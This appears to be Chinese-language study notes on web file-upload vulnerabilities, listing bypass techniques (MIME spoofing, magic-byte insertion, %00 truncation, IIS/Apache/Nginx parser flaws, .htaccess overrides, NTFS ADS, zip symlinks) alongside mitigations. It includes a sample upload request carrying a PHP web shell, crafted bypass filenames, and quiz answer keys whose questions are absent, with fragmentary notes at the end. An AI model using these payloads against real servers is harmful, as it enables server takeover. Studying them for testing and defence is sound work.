文件上传漏洞是指用户上传了一个可执行的脚本文件,
并通过此脚本文件获得了执行服务器端命令的能力。
常见场景是web服务器允许用户上传图片或者普通文本文件保存,
而用户绕过上传机制上传恶意代码并执行从而控制服务器。
这种漏洞是getshell最快最直接的方法之一
上传文件操作本身是没有问题的,问题在于文件上传到服务器后,服务器怎么处理和解释文件。
1.通过javascript来校验上传文件的后缀是否合法,可以采用白名单,也可以采用黑名单的方式
一般来说属于白名单的检测,常见的文件头(文件头标志位)如下
(1).JPEG;.JPE;.JPG,”JPGGraphicFile”(FFD8FFFE00)
(2).gif,”GIF89A”(474946383961)
(3).zip,”ZipCompressed”(504B0304)
(4).doc;.xls;.xlt;.ppt;.apr,”MSCompoundDocumentv1orLotusApproachAPRfile”(D0CF11E0A1B11AE1)
一般是调用API或函数去进行文件加载测试,例如图像渲染测试,当测试结果正常的时候才允许上传
一次渲染(代码注入)
二次渲染
即使用不同的WAF产品来进行过滤,通常是独立与服务程序的一段中间程序或者硬件
直接修改js代码或者使用抓包的方法修改请求内容绕过
先上传一个gif木马,通过抓包修改为 jsp/php/asp,只用这种方法来检测是肯定可以绕过的。
校验请求头content-type字段绕过
通过抓包来修改Http头的content-type即可绕过,也肯定是可以绕过这种检测
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原为 Content-Type: text/plain)
<?php system($_GET['command']);?>
--xYzZY-
在木马内容的前面插入对应的文件头内容,
例如:GIF89a ,
更保险的方法是在可上传的文件中插入木马代码,然后修改后缀
通过例如加载文件进行图像渲染的方式来测试,
这个时候就一般需要在正常的文件
中插入木马代码了
例如图像,那么插入的代码一般会放在图像的注释区
因此不会影响图像正常渲染绕过这种检测,
此时可以使用工具(称为插马器
)来进行插入
例如edjpgcom
,或者直接用copy命令
来合成也可以。
当然这种检测不一定能够完全绕过
后缀黑名单检测:找查blacklist(黑名单列表)
的漏网之鱼,例如
如果检测的时候不忽略大小写,那么可以改变后缀名的大小写绕过
能被解析的文件扩展名列表:
jsp jspx jspasp asa cer aspx
php php php3 php4 pht
exe exee
白名单检测还是会比黑名单强一点,常见的绕过方法有%00截断
,还有服务器的解析漏洞
如果存在这类漏洞,那么后缀名的检测都可以绕过,此时我们可以如下命名一个上传文件
这类漏洞是本身服务器的中间件产生的,例如apache,nginx都被爆出过存在解析漏洞,存在解析漏洞的话,上传的安全性几乎就完全失去了 。
使用iis5.x-6.x版本的服务器,
大多为windows server 2003,网站比较古老,开发语句一般为asp;
该解析漏洞也只能解析asp文件,而不能解析aspx文件。
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asp目录下的文件都解析成asp文件。
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
比如 test.php.qwe.asd “.qwe”和”.asd” 这两种后缀是apache不可识别解析,
apache就会把wooyun.php.qwe.asd解析成php。
www.xxxx.xxx.com/test.php.php123
1.如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php
这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
2.如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg
即使扩展名是 jpg,一样能以 php 方式执行。
1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewritemodule modules/modrewrite.so 把#号去掉,重启apache,在网站根目录下建立.htaccess文件
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>
Nginx默认是以CGI的方式支持PHP解析的,
普遍的做法是在Nginx配置文件中通过正则匹配设置 SCRIPT_FILENAME。
当访问 www.xx.com/phpinfo.jpg/1.php这个URL时
$fastcgi_script_name会被设置为 “phpinfo.jpg/1.php”,
然后构造成 SCRIPT_FILENAME传递给PHP CGI,
但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?
这就要说到fix_pathinfo这个选项了。
如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPTFILENAME是phpinfo.jpg,
而1.php是PATHINFO,所以就会将phpinfo.jpg作为PHP文件来解析了
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg %00.php
www.xxxx.com/UploadFiles/image/1.jpg/ %20.php
另外一种手法:上传一个名字为test.jpg,
然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了 cgi.fix_pathinfo,
而这并不是nginx或者iis7.5本身的漏洞。
test.asp.
test.asp(空格)
test.php:1.jpg
test.php::$DATA
shell.php::$DATA…….
会被某些版本的windows系统自动去掉不符合规则符号后面的内容。
linux是大小写敏感的,因此一般检测也会区分大小写,
但某些解析器是不区分大小写的,例如PHP,上传php不被解析,可以试试上传pHp后缀的文件名。
CMS漏洞:可以针对不同CMS存在的上传漏洞进行绕过。
编辑器漏洞:比如FCK,ewebeditor等,可以针对编辑器的漏洞进行绕过。
可参考以下链接
https://www.leavesongs.com/PENETRATION/UseOfFckeditor.html
https://docs.google.com/document/d/1w_61xR8U7nmn4Y0CvBHpG1uFIU2ORx69QnqTxQt8Km0/edit?pli=1
或者可以通过吧filename放在非常规的位置来绕过
(这里的filename指在http请求头中上传的文件名字)
如果WAF规则是:只检测特定请求类型的数据包,
但服务端接收的时候却用了request来,此时通过修改请求头的请求方法就可以绕过
对于不同的waf产品可以搜索其对应的漏洞缺陷,进行绕过
ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。
在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过
如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。
例如 %00, 0x00等
test.php(0x00).jpg
test.php%00.jpg
路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg
伪代码演示:
name= getname(httprequest) //假如这时候获取到的文件名是 help.asp.jpg(asp 后面为 0x00)
type =gettype(name) //而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpg
if(type == jpg)
SaveFileToPath(UploadPath.name, name) //但在这里却是以 0x00 作为文件名截断
//最后以 help.asp 存入路径里
上传当前目录的.htaccess 文件然后修改为以下内容:
AddType application/x-http-php .jpg #(上传的jpg 均以php执行)
把.htaccess 上传后,且上传成功后,再上传内容为一句话的jpg文件
文件扩展名服务端白名单校验。
文件内容服务端校验。
上传文件重命名。
隐藏上传文件路径。
以上几点,可以防御绝大多数上传漏洞,但是需要跟服务器容器结合起来。
如果解析漏洞依然存在,那么没有绝对的安全。
http://www.cnblogs.com/shellr00t/p/6426945.html
http://www.freebuf.com/vuls/128846.html
https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/
https://www.hetianlab.com/expc.do?ec=ECIDef72-03b9-4edc-8626-d1e623989ecb
post urldecode发送 报文
上传文件 multipart
放过
利用phpinfo信息LFI临时文件 高级利用
文件名
文件内容 检测
恶意代码 webshell 检测
隔离区
*(跟解析漏洞 00截断配合)
读取文件内容 ----未知位置
答案:
1、正确答案:A
2、正确答案:B
3、正确答案:B
4、正确答案:A
5、正确答案:A
删除 检测函数 审查元素
打开代理
选择 白名单 类型 文件
可以对 历史 进行 重放
安卓 进行 代理 抓包
答案:
1、正确答案:D
2、正确答案:D
3、正确答案:B
4、正确答案:A
5、正确答案:A
服务端绕过 需要我们 去猜程序员的 检测方法
不像前端 很简单 操作 就绕过去
找到盲点
组合 上传
关注 白名单 的 mime 类型
php里的 $_FILES数组 文件参数 MIMEtype
判断 是否为 图像类型
检测 文件中 是否 有 恶意内容
开头 有 魔术标记
测试 被 匹配的 关键字
替换 关键字
禁止访问 php
答案
1、正确答案:A
2、正确答案:B
3、正确答案:A
4、正确答案:A
5、正确答案:B
服务器 访问 静态文件非动态文件 --解析成–> 动态文件 一种错误
默认配置
新版的fastcgi 默认 只有 默认 php 可以解析
新版的 fastcgi 不会出现 。
C+S+U url解码
也是 留后门 的 方法
加 ;.jpg
img_info 文件检测
php 是 字节流 机械
unicode 合并 还是可以解析
没有找到 上传点
模板上传 等 解压上传到 固定文件夹
可以在 模板的基础上 进行修改
zip 目录穿越
安卓库 可以 写入文件 替换关键系统文件 命令执行
ios zip解压漏洞
软连接
当前文件 指向一个 绝对路径 类似于 快捷方式
symlinks 进行将 软连接 压缩